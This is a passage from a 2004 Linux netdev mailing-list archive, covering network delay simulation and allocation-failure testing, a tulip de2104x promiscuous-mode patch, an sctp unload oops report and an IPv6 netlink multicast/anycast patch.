problems and I never really followed up on it. Given the recent discussion of pacing on linux-net, this might be something to think about. -John From hadi@cyberus.ca Wed Mar 17 08:09:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Mar 2004 08:09:43 -0800 (PST) Received: from mx01.cybersurf.com (mx01.cybersurf.com [209.197.145.104]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2HG9dKO005152 for ; Wed, 17 Mar 2004 08:09:40 -0800 Received: from mail.cyberus.ca ([209.197.145.21]) by mx01.cybersurf.com with esmtp (Exim 4.20) id 1B3dbq-0001cs-5t for netdev@oss.sgi.com; Wed, 17 Mar 2004 11:09:34 -0500 Received: from [216.209.86.2] (helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1B3dbp-0007ye-Fs; Wed, 17 Mar 2004 11:09:33 -0500 Subject: Re: network delay simulation From: jamal Reply-To: hadi@cyberus.ca To: "David S. Miller" Cc: Stephen Hemminger , netdev@oss.sgi.com In-Reply-To: <20040316174134.2f1da12a.davem@redhat.com> References: <20040316151058.3cc2fa28@dell_ss3.pdx.osdl.net> <20040316174134.2f1da12a.davem@redhat.com> Content-Type: text/plain Organization: jamalopolis Message-Id: <1079539766.1034.99.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 17 Mar 2004 11:09:26 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 4081 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Content-Length: 1659 Lines: 40 On Tue, 2004-03-16 at 20:41, David S. Miller wrote: > > Any ideas/comments? Somebody have some code sitting in a drawer? I had something trying to replace nistnet a while back - probably have to go 10 harddrives back to find it. > Probably a packet scheduler would be my first choice, you could then even > tag packets using classification and therefore delay differently for different > flows. This is exactly what i had. You need to be able to choose what flow gets affected and which ones are left alone. A better approach is to use the action code patches i have because then you can cascade actions that you want and keep adding new error injection actions example delay for random time between 30 seconds to 1 minute, then fuck the checksum, then simulate congestion ... with each of those actions selectable on how it gets added to the datapath. > Another thing I've always wanted to do was add a "struct netdev *" argument > to dev_alloc_skb(), then we could do things like do SKB allocation failure > tests on drivers to stress them in low memory situations and weird patterns > of alloc failures. Probably do this in a transitional way via a new routine > with a new name that drivers gradually move over to using. this is valuable. I can bet you over 70% of the drivers will puke like theres no tommorow. Not just that, the net stack code will too. > The idea is that we provide an interface by which to upload some bit string > of alloc success/failure binary states, and at each alloc the state machine > just runs through the bits to decide whether to just quickly return NULL or > not. A simple algorithm is random(). cheers, jamal From khc@pm.waw.pl Wed Mar 17 09:42:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Mar 2004 09:42:10 -0800 (PST) Received: from hq.pm.waw.pl (hq.pm.waw.pl [195.116.170.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2HHg3KO014572 for ; Wed, 17 Mar 2004 09:42:06 -0800 Received: by hq.pm.waw.pl (Postfix, from userid 10) id 44490358; Wed, 17 Mar 2004 18:41:56 +0100 (CET) Received: by defiant.pm.waw.pl (Postfix, from userid 500) id 1777BBFA5B; Wed, 17 Mar 2004 17:29:35 +0100 (CET) To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] 2.6.x Re: Tulip 21040 hangs with ifconfig promisc References: From: Krzysztof Halasa Date: Wed, 17 Mar 2004 17:29:34 +0100 In-Reply-To: (Krzysztof Halasa's message of "Sun, 14 Mar 2004 17:54:38 +0100") Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" X-archive-position: 4082 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: khc@pm.waw.pl Precedence: bulk X-list: netdev Content-Length: 3133 Lines: 121 --=-=-= Hi, Bug (2.6.x Linux, DE21040 tulip): > Doing "ifconfig eth0 promisc" kills the ethernet. Interrupts are gone, > nothing in dmesg. -promisc nor ifconfig down/up doesn't fix it, > only driver rmmod/insmod does. The attached patch fixes the problem: de->macmode variable, meant to shadow MacMode (CSR6) register, was used inconsistently, causing some updates to this register to be dropped. 2.4 kernel doesn't shadow this register at all, so I removed shadowing from 2.6 as well. -- Krzysztof Halasa, B*FH --=-=-= Content-Type: text/x-patch Content-Disposition: inline; filename=de2104x-macmode.patch --- linux-2.6/drivers/net/tulip/de2104x.c 14 Mar 2004 17:05:37 -0000 1.24 +++ linux-2.6/drivers/net/tulip/de2104x.c 17 Mar 2004 16:14:48 -0000 @@ -303,7 +303,6 @@ struct net_device_stats net_stats; struct pci_dev *pdev; - u32 macmode; u16 setup_frame[DE_SETUP_FRAME_WORDS]; @@ -732,7 +731,7 @@ struct de_desc *txd; struct de_desc *dummy_txd = NULL; - macmode = de->macmode & ~(AcceptAllMulticast | AcceptAllPhys); + macmode = dr32(MacMode) & ~(AcceptAllMulticast | AcceptAllPhys); if (dev->flags & IFF_PROMISC) { /* Set promiscuous. */ macmode |= AcceptAllMulticast | AcceptAllPhys; @@ -805,10 +804,8 @@ dw32(TxPoll, NormalTxPoll); out: - if (macmode != de->macmode) { - dw32 (MacMode, macmode); - de->macmode = macmode; - } + if (macmode != dr32(MacMode)) + dw32(MacMode, macmode); } static void de_set_rx_mode (struct net_device *dev) @@ -923,6 +920,7 @@ static void de_set_media (struct de_private *de) { unsigned media = de->media_type; + u32 macmode = dr32(MacMode); if (de_is_running(de)) BUG(); @@ -940,9 +938,9 @@ mdelay(10); if (media == DE_MEDIA_TP_FD) - de->macmode |= FullDuplex; + macmode |= FullDuplex; else - de->macmode &= ~FullDuplex; + macmode &= ~FullDuplex; if (netif_msg_link(de)) { printk(KERN_INFO "%s: set link %s\n" @@ -951,9 +949,11 @@ de->dev->name, media_name[media], de->dev->name, dr32(MacMode), dr32(SIAStatus), dr32(CSR13), dr32(CSR14), dr32(CSR15), - de->dev->name, de->macmode, de->media[media].csr13, + de->dev->name, macmode, de->media[media].csr13, de->media[media].csr14, de->media[media].csr15); } + if (macmode != dr32(MacMode)) + dw32(MacMode, macmode); } static void de_next_media (struct de_private *de, u32 *media, @@ -1235,11 +1235,12 @@ static int de_init_hw (struct de_private *de) { struct net_device *dev = de->dev; + u32 macmode; int rc; de_adapter_wake(de); - de->macmode = dr32(MacMode) & ~MacModeClear; + macmode = dr32(MacMode) & ~MacModeClear; rc = de_reset_mac(de); if (rc) @@ -1250,7 +1251,7 @@ dw32(RxRingAddr, de->ring_dma); dw32(TxRingAddr, de->ring_dma + (sizeof(struct de_desc) * DE_RX_RING_SIZE)); - dw32(MacMode, RxTx | de->macmode); + dw32(MacMode, RxTx | macmode); dr32(RxMissed); /* self-clearing */ @@ -1501,7 +1502,7 @@ break; } - if (de->macmode & FullDuplex) + if (dr32(MacMode) & FullDuplex) ecmd->duplex = DUPLEX_FULL; else ecmd->duplex = DUPLEX_HALF; --=-=-=-- From davem@redhat.com Wed Mar 17 09:51:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Mar 2004 09:51:36 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2HHpEKO015046 for ; Wed, 17 Mar 2004 09:51:15 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2HHp84b013381; Wed, 17 Mar 2004 12:51:08 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2HHp8j07247; Wed, 17 Mar 2004 12:51:08 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2HHos2x011513; Wed, 17 Mar 2004 12:50:54 -0500 Date: Wed, 17 Mar 2004 09:51:07 -0800 From: "David S. Miller" To: hadi@cyberus.ca Cc: shemminger@osdl.org, netdev@oss.sgi.com Subject: Re: network delay simulation Message-Id: <20040317095107.60728e4e.davem@redhat.com> In-Reply-To: <1079539766.1034.99.camel@jzny.localdomain> References: <20040316151058.3cc2fa28@dell_ss3.pdx.osdl.net> <20040316174134.2f1da12a.davem@redhat.com> <1079539766.1034.99.camel@jzny.localdomain> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4083 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 207 Lines: 7 On 17 Mar 2004 11:09:26 -0500 jamal wrote: > A simple algorithm is random(). Yes, but you want to weight it just a bit. Userland could use random() to generate the bit-stream in fact :) From shemminger@osdl.org Wed Mar 17 10:00:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Mar 2004 10:00:47 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2HI0iKO015516 for ; Wed, 17 Mar 2004 10:00:45 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i2HI01E32721; Wed, 17 Mar 2004 10:00:01 -0800 Date: Wed, 17 Mar 2004 10:00:01 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: hadi@cyberus.ca, netdev@oss.sgi.com Subject: Re: network delay simulation Message-Id: <20040317100001.7d33accc@dell_ss3.pdx.osdl.net> In-Reply-To: <20040317095107.60728e4e.davem@redhat.com> References: <20040316151058.3cc2fa28@dell_ss3.pdx.osdl.net> <20040316174134.2f1da12a.davem@redhat.com> <1079539766.1034.99.camel@jzny.localdomain> <20040317095107.60728e4e.davem@redhat.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4084 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 706 Lines: 20 On Wed, 17 Mar 2004 09:51:07 -0800 "David S. Miller" wrote: > On 17 Mar 2004 11:09:26 -0500 > jamal wrote: > > > A simple algorithm is random(). > > Yes, but you want to weight it just a bit. Userland could use random() > to generate the bit-stream in fact :) In an earlier project we had a test suite that failed the Nth allocation, then repeated startup failing from 1 till all allocations in a typical interaction round trip had been tested. Sure led to some nasty failures in the test bed, which was way better than the customer finding it. -- Stephen Hemminger mailto:shemminger@osdl.org Open Source Development Lab http://developer.osdl.org/shemminger From davem@redhat.com Wed Mar 17 10:25:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Mar 2004 10:25:24 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2HIPMKO016216 for ; Wed, 17 Mar 2004 10:25:22 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2HIPG4b027098; Wed, 17 Mar 2004 13:25:16 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2HIPGj18334; Wed, 17 Mar 2004 13:25:16 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2HIP22x027161; Wed, 17 Mar 2004 13:25:02 -0500 Date: Wed, 17 Mar 2004 10:25:15 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: hadi@cyberus.ca, netdev@oss.sgi.com Subject: Re: network delay simulation Message-Id: <20040317102515.6a5f7642.davem@redhat.com> In-Reply-To: <20040317100001.7d33accc@dell_ss3.pdx.osdl.net> References: <20040316151058.3cc2fa28@dell_ss3.pdx.osdl.net> <20040316174134.2f1da12a.davem@redhat.com> <1079539766.1034.99.camel@jzny.localdomain> <20040317095107.60728e4e.davem@redhat.com> <20040317100001.7d33accc@dell_ss3.pdx.osdl.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4085 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 653 Lines: 14 On Wed, 17 Mar 2004 10:00:01 -0800 Stephen Hemminger wrote: > In an earlier project we had a test suite that failed the Nth allocation, > then repeated startup failing from 1 till all allocations in a typical > interaction round trip had been tested. Sure led to some nasty failures > in the test bed, which was way better than the customer finding it. Yes, but we don't really want alloc_skb() doing this, this makes the failures go to other places (like TCP, netlink, whatever) instead of what you're trying to actually test (RX out of buffer handling in a specific driver). It is an interesting thing to test too, no doubt. From sri@us.ibm.com Wed Mar 17 10:29:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Mar 2004 10:29:19 -0800 (PST) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2HITFKO016650 for ; Wed, 17 Mar 2004 10:29:15 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2HIT4fS389356; Wed, 17 Mar 2004 13:29:04 -0500 Received: from w-sridhar.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2HIT03E031610; Wed, 17 Mar 2004 11:29:01 -0700 Date: Wed, 17 Mar 2004 10:29:00 -0800 (PST) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: OOPS when force unloading sctp with CONFIG_DEBUG_SLAB enabled Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 4086 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 4140 Lines: 69 I am getting the following oops when force unloading sctp (rmmod -f sctp) with 2.6.5-rc1 and 2.6.4. This happens only when CONFIG_DEBUG_SLAB is enabled. This used to work fine until 2.6.3. looks like somehow a freed task struct is getting dereferenced in try_to_wake_up() and it causes oops when debug memory allocations is enabled. The call sequence seems to be sys_delete_module cleanup_module sock_release module_put wake_up_process try_to_wake_up Thanks Sridhar Mar 17 08:31:40 w-sridhar kernel: Unable to handle kernel paging request at virtual address 6b6b6b7b Mar 17 08:31:40 w-sridhar kernel: printing eip: Mar 17 08:31:40 w-sridhar kernel: c011ad39 Mar 17 08:31:40 w-sridhar kernel: *pde = 00000000 Mar 17 08:31:40 w-sridhar kernel: Oops: 0000 [#1] Mar 17 08:31:40 w-sridhar kernel: PREEMPT SMP Mar 17 08:31:40 w-sridhar kernel: CPU: 0 Mar 17 08:31:40 w-sridhar kernel: EIP: 0060:[] Tainted: GF Mar 17 08:31:40 w-sridhar kernel: EFLAGS: 00010086 (2.6.5-rc1) Mar 17 08:31:40 w-sridhar kernel: EIP is at try_to_wake_up+0x29/0x310 Mar 17 08:31:40 w-sridhar kernel: eax: 6b6b6b6b ebx: c041cc80 ecx: ccc66da4 edx: cdc258a0 Mar 17 08:31:40 w-sridhar kernel: esi: cdc7c000 edi: c041cc80 ebp: cdc7df18 esp: cdc7def4 Mar 17 08:31:40 w-sridhar kernel: ds: 007b es: 007b ss: 0068 Mar 17 08:31:40 w-sridhar kernel: Process rmmod (pid: 1636, threadinfo=cdc7c000 task=cde2a140) Mar 17 08:31:40 w-sridhar kernel: Stack: d08e2300 cdc7df14 c02bde4c cfcd9304 00000000 00000282 cdf1e5bc cdc7c000 Mar 17 08:31:40 w-sridhar kernel: d08e2300 cdc7df2c c011b03e cdc258a0 00000007 00000000 cdc7df44 c02bac4a Mar 17 08:31:40 w-sridhar kernel: cdf1e5bc c03843b8 d08e2300 00000a80 cdc7df54 d08d6f24 cdf1e5bc 00000a80 Mar 17 08:31:40 w-sridhar kernel: Call Trace: Mar 17 08:31:40 w-sridhar kernel: [] sk_free+0x6c/0xf0 Mar 17 08:31:40 w-sridhar kernel: [] wake_up_process+0x1e/0x30 Mar 17 08:31:40 w-sridhar kernel: [] sock_release+0xea/0xf0 Mar 17 08:31:40 w-sridhar kernel: [] cleanup_module+0x24/0x1d5 [sctp] Mar 17 08:31:40 w-sridhar kernel: [] sys_delete_module+0x174/0x1d0 Mar 17 08:31:40 w-sridhar kernel: [] sys_munmap+0x58/0x80 Mar 17 08:31:40 w-sridhar kernel: [] syscall_call+0x7/0xb Mar 17 08:31:40 w-sridhar kernel: Mar 17 08:31:40 w-sridhar kernel: Code: 8b 40 10 8b 14 85 20 f0 41 c0 ff 46 14 01 d7 31 c0 86 07 84 Mar 17 08:31:40 w-sridhar kernel: <6>note: rmmod[1636] exited with preempt_count 1 Mar 17 08:31:40 w-sridhar kernel: Debug: sleeping function called from invalid context at include/linux/rwsem.h:43 Mar 17 08:31:40 w-sridhar kernel: in_atomic():1, irqs_disabled():0 Mar 17 08:31:40 w-sridhar kernel: Call Trace: Mar 17 08:31:40 w-sridhar kernel: [] __might_sleep+0xab/0xd0 Mar 17 08:31:40 w-sridhar kernel: [] profile_exit_task+0x22/0x60 Mar 17 08:31:40 w-sridhar kernel: [] do_exit+0x7a/0x610 Mar 17 08:31:40 w-sridhar kernel: [] do_divide_error+0x0/0xf0 Mar 17 08:31:40 w-sridhar kernel: [] do_page_fault+0x215/0x58a Mar 17 08:31:40 w-sridhar kernel: [] recalc_task_prio+0xb4/0x1f0 Mar 17 08:31:40 w-sridhar kernel: [] schedule+0x3a9/0x7b0 Mar 17 08:31:40 w-sridhar kernel: [] scheduler_tick+0x43/0x6a0 Mar 17 08:31:40 w-sridhar kernel: [] do_page_fault+0x0/0x58a Mar 17 08:31:40 w-sridhar kernel: [] error_code+0x2d/0x38 Mar 17 08:31:40 w-sridhar kernel: [] atkbd_connect+0x19b/0x420 Mar 17 08:31:40 w-sridhar kernel: [] try_to_wake_up+0x29/0x310 Mar 17 08:31:40 w-sridhar kernel: [] sk_free+0x6c/0xf0 Mar 17 08:31:40 w-sridhar kernel: [] wake_up_process+0x1e/0x30 Mar 17 08:31:40 w-sridhar kernel: [] sock_release+0xea/0xf0 Mar 17 08:31:40 w-sridhar kernel: [] cleanup_module+0x24/0x1d5 [sctp] Mar 17 08:31:40 w-sridhar kernel: [] sys_delete_module+0x174/0x1d0 Mar 17 08:31:40 w-sridhar kernel: [] sys_munmap+0x58/0x80 Mar 17 08:31:40 w-sridhar kernel: [] syscall_call+0x7/0xb From mashirle@us.ibm.com Wed Mar 17 11:30:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Mar 2004 11:30:54 -0800 (PST) Received: from e6.ny.us.ibm.com (e6.ny.us.ibm.com [32.97.182.106]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2HJUgKO018080 for ; Wed, 17 Mar 2004 11:30:49 -0800 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e6.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2HJUb4i703846; Wed, 17 Mar 2004 14:30:37 -0500 Received: from DYN318388BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2HJUYEW122754; Wed, 17 Mar 2004 14:30:35 -0500 From: Shirley Ma To: davem@redhat.com Subject: [PATCH]dump interface IPv6 multicast/anycast addresses through netlink Date: Wed, 17 Mar 2004 11:30:30 -0800 User-Agent: KMail/1.5 Cc: netdev@oss.sgi.com, xma@us.ibm.com MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_WdKWAcXjZ67xWXv" Message-Id: <200403171130.30282.mashirle@us.ibm.com> X-archive-position: 4087 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mashirle@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 6268 Lines: 203 --Boundary-00=_WdKWAcXjZ67xWXv Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline This patch is against Linux 2.6.4 kernel. It has been tested, 'ip' utility works fine. This patch is used by IPv6 MIBs. -- Thanks Shirley Ma IBM Linux Technology Center --Boundary-00=_WdKWAcXjZ67xWXv Content-Type: text/x-diff; charset="us-ascii"; name="linux-2.6.4-ipv6mib.patch" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="linux-2.6.4-ipv6mib.patch" diff -urN linux-2.6.4/include/linux/rtnetlink.h linux-2.6.4-ipv6mib/include/linux/rtnetlink.h --- linux-2.6.4/include/linux/rtnetlink.h 2004-03-10 18:55:42.000000000 -0800 +++ linux-2.6.4-ipv6mib/include/linux/rtnetlink.h 2004-03-16 16:41:26.000000000 -0800 @@ -47,7 +47,13 @@ #define RTM_NEWPREFIX (RTM_BASE+36) #define RTM_GETPREFIX (RTM_BASE+38) -#define RTM_MAX (RTM_BASE+39) +#define RTM_NEWMULTICAST (RTM_BASE+40) +#define RTM_GETMULTICAST (RTM_BASE+42) + +#define RTM_NEWANYCAST (RTM_BASE+44) +#define RTM_GETANYCAST (RTM_BASE+46) + +#define RTM_MAX (RTM_BASE+47) /* Generic structure for encapsulation of optional route information. @@ -339,6 +345,7 @@ IFA_LOCAL, IFA_LABEL, IFA_BROADCAST, + IFA_MULTICAST, IFA_ANYCAST, IFA_CACHEINFO }; @@ -350,6 +357,10 @@ #define IFA_F_SECONDARY 0x01 #define IFA_F_TEMPORARY IFA_F_SECONDARY +#define IFA_F_ADDRESS 0x02 +#define IFA_F_MULTICAST 0x04 +#define IFA_F_ANYCAST 0x08 + #define IFA_F_DEPRECATED 0x20 #define IFA_F_TENTATIVE 0x40 #define IFA_F_PERMANENT 0x80 diff -urN linux-2.6.4/net/ipv6/addrconf.c linux-2.6.4-ipv6mib/net/ipv6/addrconf.c --- linux-2.6.4/net/ipv6/addrconf.c 2004-03-10 18:55:44.000000000 -0800 +++ linux-2.6.4-ipv6mib/net/ipv6/addrconf.c 2004-03-17 10:09:45.000000000 -0800 @@ -2571,7 +2571,7 @@ if (ipv6_addr_scope(&ifmca->mca_addr)&IFA_SITE) ifm->ifa_scope = RT_SCOPE_SITE; ifm->ifa_index = ifmca->idev->dev->ifindex; - RTA_PUT(skb, IFA_ADDRESS, 16, &ifmca->mca_addr); + RTA_PUT(skb, IFA_MULTICAST, 16, &ifmca->mca_addr); ci.cstamp = (__u32)(TIME_DELTA(ifmca->mca_cstamp, INITIAL_JIFFIES) / HZ * 100 + TIME_DELTA(ifmca->mca_cstamp, INITIAL_JIFFIES) % HZ * 100 / HZ); @@ -2608,7 +2608,7 @@ if (ipv6_addr_scope(&ifaca->aca_addr)&IFA_SITE) ifm->ifa_scope = RT_SCOPE_SITE; ifm->ifa_index = ifaca->aca_idev->dev->ifindex; - RTA_PUT(skb, IFA_ADDRESS, 16, &ifaca->aca_addr); + RTA_PUT(skb, IFA_ANYCAST, 16, &ifaca->aca_addr); ci.cstamp = (__u32)(TIME_DELTA(ifaca->aca_cstamp, INITIAL_JIFFIES) / HZ * 100 + TIME_DELTA(ifaca->aca_cstamp, INITIAL_JIFFIES) % HZ * 100 / HZ); @@ -2627,7 +2627,8 @@ return -1; } -static int inet6_dump_ifaddr(struct sk_buff *skb, struct netlink_callback *cb) +static int inet6_dump_addr(struct sk_buff *skb, struct netlink_callback *cb, + unsigned char flags) { int idx, ip_idx; int s_idx, s_ip_idx; @@ -2651,28 +2652,54 @@ if ((idev = in6_dev_get(dev)) == NULL) continue; read_lock_bh(&idev->lock); - /* unicast address */ - for (ifa = idev->addr_list; ifa; - ifa = ifa->if_next, ip_idx++) { - if (ip_idx < s_ip_idx) - continue; - if ((err = inet6_fill_ifaddr(skb, ifa, - NETLINK_CB(cb->skb).pid, - cb->nlh->nlmsg_seq, RTM_NEWADDR)) <= 0) - goto done; - } - /* temp addr */ + if (flags & IFA_F_ADDRESS) { + /* unicast address */ + for (ifa = idev->addr_list; ifa; + ifa = ifa->if_next, ip_idx++) { + if (ip_idx < s_ip_idx) + continue; + if ((err = inet6_fill_ifaddr(skb, ifa, + NETLINK_CB(cb->skb).pid, + cb->nlh->nlmsg_seq, RTM_NEWADDR)) <= 0) + goto done; + } + /* temp addr */ #ifdef CONFIG_IPV6_PRIVACY - for (ifa = idev->tempaddr_list; ifa; - ifa = ifa->tmp_next, ip_idx++) { - if (ip_idx < s_ip_idx) - continue; - if ((err = inet6_fill_ifaddr(skb, ifa, - NETLINK_CB(cb->skb).pid, - cb->nlh->nlmsg_seq, RTM_NEWADDR)) <= 0) - goto done; - } + for (ifa = idev->tempaddr_list; ifa; + ifa = ifa->tmp_next, ip_idx++) { + if (ip_idx < s_ip_idx) + continue; + if ((err = inet6_fill_ifaddr(skb, ifa, + NETLINK_CB(cb->skb).pid, + cb->nlh->nlmsg_seq, RTM_NEWADDR)) <= 0) + goto done; + } #endif + } + if (flags & IFA_F_MULTICAST) { + /* multicast address */ + for (ifmca = idev->mc_list; ifmca; + ifmca = ifmca->next, ip_idx++) { + if (ip_idx < s_ip_idx) + continue; + if ((err = inet6_fill_ifmcaddr(skb, ifmca, + NETLINK_CB(cb->skb).pid, + cb->nlh->nlmsg_seq, RTM_NEWMULTICAST)) <= 0) + goto done; + } + } + if (flags & IFA_F_ANYCAST) { + /* anycast address */ + for (ifaca = idev->ac_list; ifaca; + ifaca = ifaca->aca_next, ip_idx++) { + if (ip_idx < s_ip_idx) + continue; + if ((err = inet6_fill_ifacaddr(skb, ifaca, + NETLINK_CB(cb->skb).pid, + cb->nlh->nlmsg_seq, RTM_NEWANYCAST)) <= 0) + goto done; + } + } read_unlock_bh(&idev->lock); in6_dev_put(idev); } @@ -2687,6 +2714,25 @@ return skb->len; } +static int inet6_dump_ifaddr(struct sk_buff *skb, struct netlink_callback *cb) +{ + unsigned char flag = IFA_F_ADDRESS; + return inet6_dump_addr(skb, cb, flag); +} + +static int inet6_dump_ifmcaddr(struct sk_buff *skb, struct netlink_callback *cb) +{ + unsigned char flag = IFA_F_MULTICAST; + return inet6_dump_addr(skb, cb, flag); +} + + +static int inet6_dump_ifacaddr(struct sk_buff *skb, struct netlink_callback *cb) +{ + unsigned char flag = IFA_F_ANYCAST; + return inet6_dump_addr(skb, cb, flag); +} + static void inet6_ifa_notify(int event, struct inet6_ifaddr *ifa) { struct sk_buff *skb; @@ -2911,6 +2957,8 @@ [RTM_NEWADDR - RTM_BASE] = { .doit = inet6_rtm_newaddr, }, [RTM_DELADDR - RTM_BASE] = { .doit = inet6_rtm_deladdr, }, [RTM_GETADDR - RTM_BASE] = { .dumpit = inet6_dump_ifaddr, }, + [RTM_GETMULTICAST - RTM_BASE] = { .dumpit = inet6_dump_ifmcaddr, }, + [RTM_GETANYCAST - RTM_BASE] = { .dumpit = inet6_dump_ifacaddr, }, [RTM_NEWROUTE - RTM_BASE] = { .doit = inet6_rtm_newroute, }, [RTM_DELROUTE - RTM_BASE] = { .doit = inet6_rtm_delroute, }, [RTM_GETROUTE - RTM_BASE] = { .doit = inet6_rtm_getroute, --Boundary-00=_WdKWAcXjZ67xWXv-- From jgarzik@pobox.com Wed Mar 17 15:43:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Mar 2004 15:43:54 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2HNhnKO029568 for ; Wed, 17 Mar 2004 15:43:50 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B3gpp-0001yI-2j; Wed, 17 Mar 2004 19:36:13 +0000 Message-ID: <4058A8A1.1010501@pobox.com> Date: Wed, 17 Mar 2004 14:36:01 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; 